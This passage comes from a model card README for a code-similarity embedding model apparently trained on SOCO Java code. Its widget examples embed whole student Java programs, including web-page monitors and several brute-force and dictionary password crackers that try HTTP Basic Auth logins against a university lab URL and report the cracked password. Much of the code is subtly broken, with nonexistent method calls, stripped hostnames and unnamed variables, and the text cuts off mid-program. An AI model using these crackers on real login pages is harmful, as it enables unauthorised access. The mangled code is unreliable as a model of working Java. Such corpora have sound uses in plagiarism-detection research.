CoolFace
Modelpublic

buelfhood/SOCO-Java-CodeT5Small-ST

sourceHugging Faceupdated 1y agoView on Hugging Face
0likes25downloads
README.md1125 linesDownload Raw Back to root
1---2tags:3- sentence-transformers4- sentence-similarity5- feature-extraction6- generated_from_trainer7- dataset_size:334118- loss:BatchAllTripletLoss9base_model: Salesforce/codet5-small10widget:11- source_sentence: "\n\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\12    \npublic class WatchDog extends TimerTask{\n\n  private static URL location;\n\13    \  private static String email;\n  private static int checktime;\n  private static\14    \ Timer timer = new Timer();\n  private BufferedReader input;\n  private File\15    \ checksumFile = new File(\"chksum.txt\");\n  private File temp0000File = new\16    \ File(\"temp0000\");\n  private File kept0000File = new File(\"kept0000\");\n\17    \n  \n\n    public WatchDog(){\n      timer.schedule(this, new Date(), checktime);\n\18    \    }\n\n\n    \n\n      public void run(){\n        Vector imageFiles = new\19    \ Vector();\n        Vector diffImages = new Vector();\n        try {\n      \20    \    System.out.println(\" Time: \".concat(new Date().toString()));\n        \21    \  System.out.println(\"Retreiving File\");\n          \n          input = new\22    \ BufferedReader(new InputStreamReader\n                                     (location.openStream()));\n\23    \          \n          BufferedWriter outputFile = new BufferedWriter\n      \24    \        (new FileWriter(temp0000File));\n          String line = input.readLine();\n\25    \          while (line != null) {\n            StringBuffer imageFileName = new\26    \ StringBuffer();\n            if (scanForImages(line, imageFileName)) {\n   \27    \           String imageFile = new String(imageFileName);\n              System.out.println(\"\28    Detected image: \".concat(imageFile));\n              try {\n                imageFiles.add(new\29    \ URL(imageFile));\n              }\n              catch (MalformedURLException\30    \ e) {\n                System.out.println(\"Image file detected. URL is malformed\"\31    );\n              }\n            }\n            outputFile.write(line);\n    \32    \        outputFile.write(\"\\n\");\n            line = input.readLine();\n  \33    \        }\n          input.print();\n          outputFile.flush();\n        \34    \  outputFile.print();\n          System.out.println(\" File Retreived\");\n \35    \         if (!imageFiles.isEmpty()) {\n            checkImages(imageFiles, diffImages);\n\36    \          }\n          if (!checksumFile.exists()) {\n            generateChecksum(temp0000File.getName(),\37    \ checksumFile);\n          }\n          else {\n            if (!checksumOk(checksumFile))\38    \ {\n              reportDifferences(true, temp0000File, kept0000File, diffImages);\n\39    \              generateChecksum(temp0000File.getName(), checksumFile);\n     \40    \       }\n            else if (!diffImages.isEmpty()){\n              reportDifferences(false,\41    \ null, null, diffImages);\n            }\n          }\n\n          \n       \42    \   temp0000File.renameTo(kept0000File);\n          System.out.println(\"End Time:\43    \ \".concat(new Date().toString()));\n        }\n        catch (MalformedURLException\44    \ e) {\n          e.printStackTrace();\n        }\n        catch (ConnectException\45    \ e) {\n          System.out.println(\"Failed  connect\");\n          System.exit(-1);\n\46    \        }\n        catch (IOException e) {\n          e.printStackTrace();\n\47    \          System.exit(-1);\n        }\n      }\n\n      \n\n      public boolean\48    \ scanForImages(String line, StringBuffer imageFileName) {\n        \n       \49    \ \n        String lineIgnoreCase = line.toLowerCase();\n        int imgPos =\50    \ lineIgnoreCase.indexOf(\"<img \");\n        if ( imgPos != -1 ){\n         \51    \ int srcPos = lineIgnoreCase.indexOf(\"src\", imgPos);\n          int bracketPos\52    \ = lineIgnoreCase.indexOf(\">\", imgPos);\n          if (srcPos != -1 && bracketPos\53    \ != -1 && srcPos < bracketPos) {\n            int quote1Pos = lineIgnoreCase.indexOf(\"\54    \\\"\", srcPos);\n            int quote2Pos = lineIgnoreCase.indexOf(\"\\\"\"\55    , quote1Pos+1);\n            if (quote1Pos != -1 && quote2Pos != -1 &&\n     \56    \           quote1Pos < quote2Pos && quote2Pos < bracketPos) {\n             \57    \ \n              imageFileName.append(line.substring(quote1Pos + 1,\n       \58    \           quote2Pos));\n              if (imageFileName.indexOf(\"//\") == -1\59    \ ) {\n                \n                String URLName = location.toString();\n\60    \                int slashPos = URLName.lastIndexOf(\"/\");\n                URLName\61    \ = URLName.substring(0, slashPos);\n                String HostName = \"http://\"\62    .concat(location.getHost());\n                if (imageFileName.indexOf(\"//\"\63    ) == 0) {\n                  \n                }\n                else if (imageFileName.charAt(0)\64    \ != '/') {\n                  \n                  imageFileName.insert(0, URLName.concat(\"\65    /\"));\n                }\n                else {\n                  \n      \66    \            imageFileName.insert(0, HostName);\n                }\n         \67    \     }\n              return true;\n            }\n          }\n        }\n \68    \       return false;\n      }\n\n      \n\n      public void checkImages(Vector\69    \ imageFiles, Vector diffImages)\n          throws IOException{\n        System.out.println(\"\70    Retrieving image \");\n        Enumeration imageFilesEnumeration = imageFiles.elements();\n\71    \        while (imageFilesEnumeration.hasMoreElements()) {\n          URL url\72    \ = (URL)imageFilesEnumeration.nextElement();\n          try {\n            BufferedInputStream\73    \ imageInput = new BufferedInputStream\n                (url.openStream());\n\74    \            String localFile = url.getFile();\n            \n            \n \75    \           \n            \n            \n            int slashPosition = localFile.lastIndexOf(\"\76    /\");\n            if (slashPosition != -1) {\n              localFile = localFile.substring(slashPosition+1);\n\77    \            }\n            System.out.println(\"Retrieving image file: \".concat(localFile));\n\78    \            BufferedOutputStream imageOutput = new BufferedOutputStream\n   \79    \             (new FileOutputStream(localFile));\n            byte bytes[] = new\80    \ byte[10000];\n            int noBytes = imageInput.get(bytes);\n           \81    \ while (noBytes != -1) {\n              imageOutput.write(bytes, 0, noBytes );\n\82    \              noBytes = imageInput.print(bytes);\n            }\n           \83    \ File imageChecksumFile = new File(localFile.concat(\".chksum.txt\"));\n    \84    \        if (!imageChecksumFile.exists()) {\n              generateChecksum(localFile,\85    \ imageChecksumFile);\n            }\n            else {\n              if (!checksumOk(imageChecksumFile))\86    \ {\n                diffImages.add(localFile);\n                generateChecksum(localFile,\87    \ imageChecksumFile);\n              }\n            }\n          }\n         \88    \ catch (FileNotFoundException e) {\n            System.out.println(\"Unable \89    \ locate URL: \".concat(url.toString()));\n          }\n        }\n      }\n\n\90    \      \n\n      public void generateChecksum(String inputFile, File checksum){\n\91    \        try {\n          System.out.println(\"Generating new checksum for \"\92    .concat(inputFile));\n          \n          Process process = Runtime.getRuntime().exec(\"\93    md5sum \".\n                                                      concat(inputFile));\n\94    \          BufferedReader execCommand = new BufferedReader(new\n             \95    \ InputStreamReader((process.getInputStream())));\n          BufferedWriter outputFile\96    \ = new\n              BufferedWriter(new FileWriter(checksum));\n          String\97    \ line = execCommand.readLine();\n          while (line != null) {\n         \98    \   outputFile.write(line);\n            outputFile.write(\"\\n\");\n        \99    \    line = execCommand.readLine();\n          }\n          outputFile.flush();\n\100    \          outputFile.print();\n          System.out.println(\"Checksum produced\"\101    );\n        }\n        catch (IOException e) {\n          e.printStackTrace();\n\102    \          System.exit(-1);\n        }\n      }\n\n      \n\n      public boolean\103    \ checksumOk(File chksumFile){\n        try {\n          System.out.println(\"\104    Comparing checksums using \".concat(chksumFile\n              ,e.getName()));\n\105    \          \n          Process process = Runtime.getRuntime().\n             \106    \ exec(\"md5sum --check \".concat(chksumFile.getName()));\n          BufferedReader\107    \ execCommand = new BufferedReader(new\n              InputStreamReader( (process.getInputStream())));\n\108    \          String line = execCommand.readLine();\n          if (line.indexOf(\"\109    : OK\") != -1) {\n            System.out.println(\"  the same\");\n          \110    \  return true;\n          }\n        }\n        catch (IOException e) {\n   \111    \       e.printStackTrace();\n          System.exit(-1);\n        }\n        System.out.println(\"\112    Differences Found\");\n        return false;\n      }\n\n      \n\n      public\113    \ void reportDifferences(boolean diffsFound, File file1, File file2,\n       \114    \                             Vector images){\n        try {\n          System.out.println(\"\115    Generating difference report\");\n          \n          Socket emailConnection\116    \ = new Socket(\"yallara.cs.rmit.edu.\", 25);\n          BufferedWriter emailOutStream\117    \ = new BufferedWriter\n              (new OutputStreamWriter(emailConnection.getOutputStream()));\n\118    \          BufferedReader emailInStream = new BufferedReader\n              (new\119    \ InputStreamReader(emailConnection.getInputStream()));\n          String line\120    \ = emailInStream.readLine();\n          System.out.println(line);\n         \121    \ if (!line.startsWith(\"220\")) {\n              System.out.println\n       \122    \           (\" error occured connecting  email server. Cannot send email.\");\n\123    \          }\n          else {\n            \n            \n            emailOutStream.write(\"\124    HELO yallara.cs.rmit.edu.\");\n            emailOutStream.newLine();\n       \125    \     emailOutStream.flush();\n            line = emailInStream.readLine();\n\126    \            System.out.println(line);\n            if (!line.startsWith(\"250\"\127    )) {\n                System.out.println\n                    (\" error occured\128    \ connecting  email server. Cannot send email.\");\n            }\n          \129    \  else {\n              emailOutStream.write(\"MAIL FROM: watchdog@cs.rmit.edu.\"\130    );\n              emailOutStream.newLine();\n              emailOutStream.flush();\n\131    \              line = emailInStream.readLine();\n              System.out.println(line);\n\132    \              if (!line.startsWith(\"250\")) {\n                System.out.println\n\133    \                    (\" error occured sending email. Cannot send email.\");\n\134    \              }\n              else {\n                emailOutStream.write(\"\135    RCPT : \".concat(email));\n                emailOutStream.newLine();\n       \136    \         emailOutStream.flush();\n                line = emailInStream.readLine();\n\137    \                System.out.println(line);\n                if (!line.startsWith(\"\138    250\")) {\n                 System.out.println\n                     (\" error\139    \ occured sending email. Cannot send email.\");\n                }\n         \140    \       else {\n                  emailOutStream.write(\"DATA\");\n          \141    \        emailOutStream.newLine();\n                  emailOutStream.flush();\n\142    \                  line = emailInStream.readLine();\n                  System.out.println(line);\n\143    \                  if (!line.startsWith(\"354\")) {\n                   System.out.println\n\144    \                       (\" error occured sending email. Cannot send email.\"\145    );\n                  }\n                  emailOutStream.newLine();\n\n     \146    \             if (!images.isEmpty()) {\n                      emailOutStream.write\n\147    \                          (\"Differences were found in the following image \"\148    );\n                      emailOutStream.newLine();\n                      Enumeration\149    \ e = images.elements();\n                      while (e.hasMoreElements()) {\n\150    \                        String s = (String) e.nextElement();\n              \151    \          emailOutStream.write(s);\n                        emailOutStream.newLine();\n\152    \                      }\n                      emailOutStream.newLine();\n  \153    \                }\n\n                  if (diffsFound) {\n                  \154    \  \n                    String command = \"diff \".concat(file1.getName().concat(\"\155    \ \")\n                                                    .concat(file2.getName()));\n\156    \                    Process process = Runtime.getRuntime().exec(command);\n \157    \                   BufferedReader execCommand = new BufferedReader\n        \158    \                (new InputStreamReader( (process.getInputStream())));\n     \159    \               line = execCommand.readLine();\n                    emailOutStream.write(\"\160    Diffences found in  file\");\n                    emailOutStream.newLine();\n\161    \                    while (line != null) {\n                      System.out.println(line);\n\162    \                      emailOutStream.write(line);\n                      emailOutStream.newLine();\n\163    \                      line = execCommand.readLine();\n                    }\n\164    \                  }\n\n                  \n                  emailOutStream.newLine();\n\165    \                  emailOutStream.write(\".\");\n                  emailOutStream.newLine();\n\166    \                  emailOutStream.flush();\n                  line = emailInStream.readLine();\n\167    \                  System.out.println(line);\n                  if (!line.startsWith(\"\168    250\")) {\n                    System.out.println\n                        (\"\169    \ error occured sending email. Cannot send email.\");\n                  }\n \170    \                 else {\n                    emailOutStream.write(\"QUIT\");\n\171    \                    emailOutStream.newLine();\n                    emailOutStream.flush();\n\172    \                    System.out.println(emailInStream.readLine());\n         \173    \         }\n                }\n              }\n            }\n          }\n\174    \        }\n        catch (IOException e) {\n          e.printStackTrace();\n\175    \          System.exit(-1);\n        }\n      }\n\n\n    \n\n    public static\176    \ void main(String args[]) {\n      if (args.length != 3) {\n        System.out.println(\"\177    Usage: java WatchDog url email checktime(hours)\");\n        System.exit(-1);\n\178    \      }\n      try {\n        location = new URL(args[0]);\n      }\n      catch\179    \ (MalformedURLException e) {\n        e.printStackTrace();\n      }\n      email\180    \ = new String().concat(args[1]);\n      checktime = Integer.parseInt(args[2])\181    \ * 60 * 60 * 1000;\n      new WatchDog();\n    }\n}\n"182  sentences:183  - "\n\nimport java.net.*;\nimport java.io.*;\n\nimport java.*;\nimport java.util.*;\n\184    \npublic class Dictionary {\n\n  private static String commandLine = \"curl http://sec-crack.cs.rmit.edu./SEC/2/index.php\185    \ -I -u :\";\n  private String password;             \n  private String previous;\186    \             \n  private String url;                  \n  private int startTime;\n\187    \  private int endTime;\n  private int totalTime;\n  private float averageTime;\n\188    \  private boolean finish;\n  private Process curl;\n  private BufferedReader\189    \ bf, responseLine;\n\n  public Dictionary() {\n\n  first();\n  finish = true;\190    \                           \n  previous = \"\";                           \n\191    \  Runtime run = Runtime.getRuntime();\n  startTime =new Date().getTime();   \192    \      \n  int i=0;\n  try {\n   try {\n     bf = new BufferedReader(new FileReader(\"\193    words\"));\n   }\n   catch(FileNotFoundException notFound) {\n    bf  = new BufferedReader(new\194    \ FileReader(\"/usr/share/lib/dict/words\"));\n   }\n\n   while((password = bf.readLine())\195    \ != null) {\n    if(password.length()>3) password = password.substring(0,3);\n\196    \    if(previous.equals(password)) ;\n    else {\n    previous = password;\n \197    \   url = commandLine+password;\n    curl= run.exec(url);                   \n\198    \    responseLine=new BufferedReader(new InputStreamReader(curl.getInputStream()));\n\199    \    \n    if(responseLine.readLine().substring(9,12).equals(\"200\")) break;\n\200    \    }\n   }\n  }\n  catch(IOException ioe) {\n    System.out.println(\"\\n IO\201    \ Exception! \\n\");\n    System.out.println(\"The current url is:\"+ url);\n\202    \    System.out.println(\"The current trying password is:\"+password);\n    finish=false;\n\203    \  }\n\n  endTime = new Date().getTime();          \n  totalTime = (endTime-startTime)/1000;\n\204    \  System.out.println(\"   The response time is:\"+ totalTime + \"  seconds\\\205    n\");\n  if(finish) {\n    System.out.println(\"   The password for  is:\"+ password);\n\206    \    try {\n    savePassword(password, totalTime);\n    }\n    catch (IOException\207    \ ioec) {\n       System.out.println(\"  not save the password  file Dictionary_pwd.txt\208    \ \");\n    }\n  }\n  }\n\n\n  public void savePassword(String passwdString, int\209    \ time) throws IOException {\n  DataOutputStream outputStream = new DataOutputStream(new\210    \ FileOutputStream(\"Dictionary_pwd.txt\"));\n  outputStream.writeChars(\"The\211    \ password is:\");\n  outputStream.writeChars(passwdString+\"\\n\");\n  outputStream.writeChars(\"\212    The response time is: \");\n  outputStream.writeChars(sw.toString(time));\n  outputStream.writeChars(\"\213    \ seconds\\n\");\n  outputStream.close();\n  }\n\n  public void first() {\n\n\214    \    System.out.println(\"\\n\\n----------------------------------------------\"\215    );\n    System.out.println(\"   Use curl command and dictionary \");\n    System.out.println(\"\216    \  Brute Force the password for user  \");\n    System.out.println(\"----------------------------------------------\"\217    );\n  }\n\n  public static void main(String[] args) {\n   new Dictionary();\n\218    \  }  \n}\n"219  - "\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\nimport java.util.*;\n\220    \npublic class WatchDog {\n public static void  main (String[] args) throws IOException\221    \ {\n  BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));\n\222    \   try{\n     twentyfourhours = 86400000;\n    Timer timer = new Timer();\n \223    \   final Runtime rt = Runtime.getRuntime();\n\n    try{\n     Process wg1 = rt.exec(\"\224    ./.sh\");\n     wg1.waitFor();\n    }\n    catch(InterruptedException e ){\n \225    \    System.err.println();\n     e.printStackTrace();\n    }\n\n    class RepeatTask\226    \ extends TimerTask{\n     public void run(){\n      try{\n       Process wg2\227    \ = rt.exec(\"./task.sh\");\n       wg2.waitFor();\n       FileReader fr = new\228    \ FileReader(\"check.txt\");\n       BufferedReader bufr = new BufferedReader(fr);\n\229    \       String check = bufr.readLine();\n       if(check.equals(\".txt: FAILED\"\230    )) {\n        Process difftosend = rt.exec(\"./diff.sh\");\n        difftosend.waitFor();\n\231    \        Process reset = rt.exec(\"./.sh\");\n        reset.waitFor();\n     \232    \  }\n       FileReader fr2 = new FileReader(\"imgdiffs.txt\");\n       BufferedReader\233    \ bufr2 = new BufferedReader(fr2);\n       String imdiff = bufr2.readLine();\n\234    \       if(imdiff != null){\n        Process imdifftosend = rt.exec(\"./img.sh\"\235    );\n        imdifftosend.waitFor();\n        Process reset = rt.exec(\"./.sh\"\236    );\n        reset.waitFor();\n       }\n      }\n   catch(InterruptedException\237    \ e){System.err.println();e.printStackTrace();}\n      catch(IOException e){\n\238    \       System.err.println(e);\n       e.printStackTrace();\n      }\n    }}\n\239    \n    timer.scheduleAtFixedRate(new RepeatTask(),twentyfourhours,twentyfourhours);\n\240    \    \n   }\n   catch(IOException e){\n    System.err.println(e);\n    e.printStackTrace();\n\241    \   }\n   \n}}\n"242  - "\n\nimport java.net.*;\nimport java.text.*;  \nimport java.util.*;  \nimport\243    \ java.io.*;\n\npublic class WatchDog {\n\n  public WatchDog() {\n\n    StringBuffer\244    \ stringBuffer1 = new StringBuffer();\n    StringBuffer stringBuffer2 = new StringBuffer();\n\245    \    int i,j = 0;\n\n    try{\n\n      URL yahoo = new URL(\"http://www.cs.rmit.edu./students/\"\246    ); \n      BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n\247    \n      String inputLine = \"\";\n      String inputLine1 = \"\";\n      String\248    \ changedtext= \"\";\n      String changedflag= \"\";\n\n\n      Thread.sleep(180);\n\249    \n      BufferedReader in1 = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n\250    \n\n      while ((inputLine = in.readLine()) != null) {\n           inputLine1\251    \ = in1.readLine();\n           if (inputLine.equals(inputLine1)) {\n        \252    \      System.out.println(\"equal\");\n           }\n           else {\n     \253    \         System.out.println(\"Detected a Change\");\n              System.out.println(\"\254    Line Before the change:\" + inputLine);\n              System.out.println(\"Line\255    \ After the change:\" + inputLine1);\n              changedtext = changedtext\256    \ + inputLine + inputLine1;\n              changedflag = \"Y\";\n           }\n\257    \           \n      }\n\n      if (in1.readLine() != null ) {\n         System.out.println(\"\258    Detected a Change\");\n         System.out.println(\"New Lines Added  \");\n \259    \        changedtext = changedtext + \"New Lines added\";\n         changedflag\260    \ = \"Y\";\n      }\n\n      in.print();\n      in1.print();\n\n      if (changedflag.equals(\"\261    Y\")) {\n         String smtphost =\"smtp.mail.rmit.edu.\" ; \n         String\262    \ from = \"@rmit.edu.\"; \n         String  = \"janaka1@optusnet..\" ; \n    \263    \  }\n\n\n    }\n    catch(Exception e){ System.out.println(\"exception:\" + e);}\n\264    \t \n}\n\t\t\n    public static void main (String[] args) throws Exception {\n\265    \t\tWatchDog u = new WatchDog();\n    }\n}\n"266- source_sentence: "\n\nimport java.awt.*;\nimport java.String;\nimport java.util.*;\n\267    import java.io.*;\nimport java.net.*;\n\n\n\npublic class BruteForce\n{\n   private\268    \ URL url;\n   private HttpURLConnection connection ;\n   private  int stopTime\269    \ = 0;\n   private  int startTime = 0;\n   private  int count = 0;\n\n   public\270    \ BruteForce()\n   {\n      System.out.println(\"Process is running...\");\n \271    \     startTime = System.currentTimeMillis();\n      threeLetters();\n      twoLetters();\n\272    \   }\n\n   public static void main (String args[])\n   {\n      BruteForce bf\273    \ = new BruteForce();\n   }\n   \n   public void threeLetters()\n   {\n      String\274    \ s1;\n      char [] a = {'a','a','a'};\n\n      for (int i0 = 0; i0 < 26; i0++)\n\275    \      {\n         for (int i1 = 0; i1 < 26; i1++)\n         {\n            for\276    \ (int i2 = 0; i2 < 26; i2++)\n            {\n               s1 = String.valueOf((char)(a[0]\277    \ + i0)) + String.valueOf((char)(a[1] + i1)) +\n\t\t            String.valueOf((char)(a[2]\278    \ + i2));\n               decision(s1);\n               count++;\n\n         \279    \      s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1))\280    \ +\n                    (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\281    \               decision(s1);\n               count++;\n\n               s1 =\282    \ String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase()\283    \ +\n                    (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\284    \               decision(s1);\n               count++;\n\n               s1 =\285    \ (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n                    (String.valueOf((char)(a[1]\286    \ + i1))).toUpperCase() +\n                    (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\287    \               decision(s1);\n               count++;\n\n               s1 =\288    \ (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase()\289    \ +\n                    String.valueOf((char)(a[2] + i2));\n               decision(s1);\n\290    \               count++;\n\n               s1 = (String.valueOf((char)(a[0] +\291    \ i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +\n\t\t            String.valueOf((char)(a[2]\292    \ + i2));\n               decision(s1);\n               count++;\n\n         \293    \      s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1]\294    \ + i1)) +\n                    (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\295    \               decision(s1);\n               count++;\n\n               s1 =\296    \ (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n                    (String.valueOf((char)(a[1]\297    \ + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2));\n               decision(s1);\n\298    \               count++;\n            }\n         }\n      }\n   }\n   \n   public\299    \ void twoLetters()\n   {\n      String s1;\n      char [] a = {'a','a'};\n\n\300    \      for (int i0 = 0; i0 < 26; i0++)\n      {\n         for (int i1 = 0; i1\301    \ < 26; i1++)\n         {\n            s1 = String.valueOf((char)(a[0] + i0))\302    \ + String.valueOf((char)(a[1] + i1));\n            decision(s1);\n          \303    \  count++;\n\n            s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1]\304    \ + i1)).toUpperCase();\n            decision(s1);\n            count++;\n\n \305    \           s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n       \306    \          (String.valueOf((char)(a[1] + i1))).toUpperCase();\n            decision(s1);\n\307    \            count++;\n\n            s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase()\308    \ + String.valueOf((char)(a[1] + i1));\n            decision(s1);\n          \309    \  count++;\n         }\n      }\n   }\n\n   \n   public void decision(String\310    \ s1)\n   {\n      if (find(s1) == 200)\n      {\n         stopTime = System.currentTimeMillis();\n\311    \          runTime = stopTime - startTime;\n         System.out.println(\"***************************************\"\312    );\n         System.out.println(\"\\nAttack successfully\");\n         System.out.println(\"\313    \\nPassword is: \" + s1);\n         System.out.println(\"\\nThe contents of the\314    \ Web site: \");\n         displayContent(s1);\n         System.out.println(\"\315    \\nTime taken  crack: \" + runTime + \" millisecond\");\n         System.out.println(\"\316    \\nNumber of attempts: \" + count);\n         System.out.println();\n\n      \317    \   System.exit(0);\n      }\n   }\n   \n   \n   public int find(String s1)\n\318    \   {\n      int responseCode = 0;\n      try\n      {\n         url = new URL(\"\319    http://sec-crack.cs.rmit.edu./SEC/2/\");\n         connection = (HttpURLConnection)url.openConnection();\n\320    \n         connection.setRequestProperty(\"Authorization\",\" \" + MyBase64.encode(\"\321    \" + \":\" + s1));\n\n         responseCode = connection.getResponseCode();\n\n\322    \      }catch (Exception e)\n      {\n          System.out.println(e.getMessage());\n\323    \      }\n      return responseCode;\n   }\n\n   \n   public void displayContent(String\324    \ pw)\n   {\n      BufferedReader bw = null ;\n      try\n      {\n         url\325    \ = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n         connection =\326    \ (HttpURLConnection)url.openConnection();\n\n         connection.setRequestProperty(\"\327    Authorization\",\" \" + MyBase64.encode(\"\" + \":\" + pw));\n         InputStream\328    \ stream = (InputStream)(connection.getContent());\n         if (stream != null)\n\329    \         {\n             InputStreamReader reader = new InputStreamReader (stream);\n\330    \             bw = new BufferedReader (reader);\n             String line;\n\n\331    \             while ((line = bw.readLine()) != null)\n             {\n       \332    \         System.out.println(line);\n             }\n        }\n      }\n    \333    \  catch (IOException e)\n      {\n         System.out.println(e.getMessage());\n\334    \      }\n   }\n}\n\n\n\n\n"335  sentences:336  - "\n\n\nimport java.text.*;  \nimport java.util.*;  \nimport java.net.*;  \nimport\337    \ java.io.*;  \n\n  \npublic class BruteForce {  \n\n   public int runProcess(String\338    \ urlString,String passwd) {  \n\n       int returnval = 0;\n       MyAuthenticator\339    \ auth = new MyAuthenticator(passwd);\n       Authenticator.setDefault(auth);\n\340    \n\t       System.out.println(\"trying passord: \" + passwd);\n       try{\n \341    \           URL yahoo = new URL(urlString); \n            BufferedReader in =\342    \ new BufferedReader(new InputStreamReader(yahoo.openStream()));\n           \343    \ String inputLine;\n            while ((inputLine = in.readLine()) != null) {\n\344    \t       System.out.println(inputLine);\n\t       System.out.println(\"passord:\345    \ \" + passwd);\n               returnval = 1;\n            }\n\t    in.close();\n\346    \          }catch(Exception e){ returnval = 0;}\n       return returnval;\n  \347    \ }\n\n   public static void  main(String argv[]) {  \n\n       String[] val =\348    \ \n{\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"\349    m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"\350    z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"\351    M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"\352    Z\"};\n\n      int l1 = 0;\n\n      int l2 = 0;\n\n      int l3 = 0;\n      \n\353    \      int retval = 0;\n\n      String pwd = \"\";\n\n      \n      BruteForce\354    \ s = new BruteForce();  \n      String urlToSearch = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\355    ;  \n    \n      for (int a = 0; a < 52; a++) {\n\n        l1 = a;\n\n       \356    \ pwd = val[l1];\n        retval = 0;\n        retval = s.runProcess(urlToSearch,pwd);\357    \  \n        if (retval > 0) {\n           System.exit(0);\n        }\n      }\n\358    \n\n      for (int b = 0; b < 52; b++) {\n        l1 = b;\n        for (int c\359    \ = 0; c < 52; c++) {\n\n          l2 = c;\n          pwd = val[l1]+ val[l2];\n\360    \          retval = 0;\n          retval = s.runProcess(urlToSearch,pwd);  \n\361    \          if (retval > 0) {\n             System.exit(0);\n          }\n    \362    \    }\n      }\n\n\n      for (int d = 0; d < 52; d++) {\n        l1 = d;\n \363    \       for (int e = 0; e < 52; e++) {\n          l2 = e;\n          for (int\364    \ f = 0; f < 52; f++) {\n\n              l3 = f;\n\n              pwd = val[l1]+\365    \ val[l2]+ val[l3];\n              retval = 0;\n              retval = s.runProcess(urlToSearch,pwd);\366    \  \n              if (retval > 0) {\n                 System.exit(0);\n     \367    \         }\n           }\n        }\n      }\n\n    }  \n}     \n\n"368  - "\n      \n\n     public class  Base64Converter\n      \n      \n      {\n\n \369    \    public static final char [ ]  alphabet = {\n        'A', 'B', 'C', 'D', 'E',\370    \ 'F', 'G', 'H',   \n        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   \n    \371    \    'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   \n        'Y', 'Z', 'a', 'b', 'c',\372    \ 'd', 'e', 'f',   \n        'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   \n    \373    \    'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   \n        'w', 'x', 'y', 'z', '0',\374    \ '1', '2', '3',   \n        '4', '5', '6', '7', '8', '9', '+', '/' }; \n\n  \375    \   \n      \n\n     public static String  encode ( String  s )\n      \n    \376    \  {\n        return encode ( s.getBytes ( ) );\n      }\n\n     public static\377    \ String  encode ( byte [ ]  octetString )\n      \n      {\n        int  bits24;\n\378    \        int  bits6;\n\n       char [ ]  out\n          = new char [ ( ( octetString.length\379    \ - 1 ) / 3 + 1 ) * 4 ];\n\n       int outIndex = 0;\n        int i        = 0;\n\380    \n       while ( ( i + 3 ) <= octetString.length )\n        {\n          \n  \381    \        bits24  = ( octetString [ i++ ] & 0xFF ) << 16; \n          bits24 |=\382    \ ( octetString [ i++ ] & 0xFF ) <<  8; \n          bits24 |= ( octetString [\383    \ i++ ] & 0xFF ) <<  0;\n\n         bits6 = ( bits24 & 0x00FC0000 ) >> 18; \n\384    \          out [ outIndex++ ] = alphabet [ bits6 ];\n          bits6 = ( bits24\385    \ & 0x0003F000 ) >> 12; \n          out [ outIndex++ ] = alphabet [ bits6 ];\n\386    \          bits6 = ( bits24 & 0x00000FC0 ) >> 6; \n          out [ outIndex++\387    \ ] = alphabet [ bits6 ];\n          bits6 = ( bits24 & 0x0000003F );\n      \388    \    out [ outIndex++ ] = alphabet [ bits6 ]; \n        }\n\n       if ( octetString.length\389    \ - i == 2 )\n        {\n          \n          bits24  = ( octetString [ i   \390    \  ] & 0xFF ) << 16; \n          bits24 |= ( octetString [ i + 1 ] & 0xFF ) <<\391    \  8;\n\n         bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n          out [ outIndex++\392    \ ] = alphabet [ bits6 ]; \n          bits6 = ( bits24 & 0x0003F000 ) >> 12; \n\393    \          out [ outIndex++ ] = alphabet [ bits6 ]; \n          bits6 = ( bits24\394    \ & 0x00000FC0 ) >> 6; \n          out [ outIndex++ ] = alphabet [ bits6 ];\n\n\395    \         \n          out [ outIndex++ ] = '='; \n        }\n        else if (\396    \ octetString.length - i == 1 )\n        {\n          \n          bits24 = ( octetString\397    \ [ i ] & 0xFF ) << 16;\n\n         bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n \398    \         out [ outIndex++ ] = alphabet [ bits6 ];\n          bits6 = ( bits24\399    \ & 0x0003F000 ) >> 12; \n          out [ outIndex++ ] = alphabet [ bits6 ];\n\400    \n         \n          out [ outIndex++ ] = '='; \n          out [ outIndex++\401    \ ] = '='; \n        }\n\n       return new String ( out );\n      }\n\n     \n\402    \      \n}\n\n\n"403  - "\nimport java.io.*;\nimport java.net.*;\n\npublic class BruteForce\n{\n\n  public\404    \ static void  main(String args[])\n  {\n    StringWriter sw = new StringWriter();\n\405    \    PrintWriter  pw = new PrintWriter();\n    int flag=1;\n    String[] letter\406    \ = {\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"\407    M\",\"N\",\n                        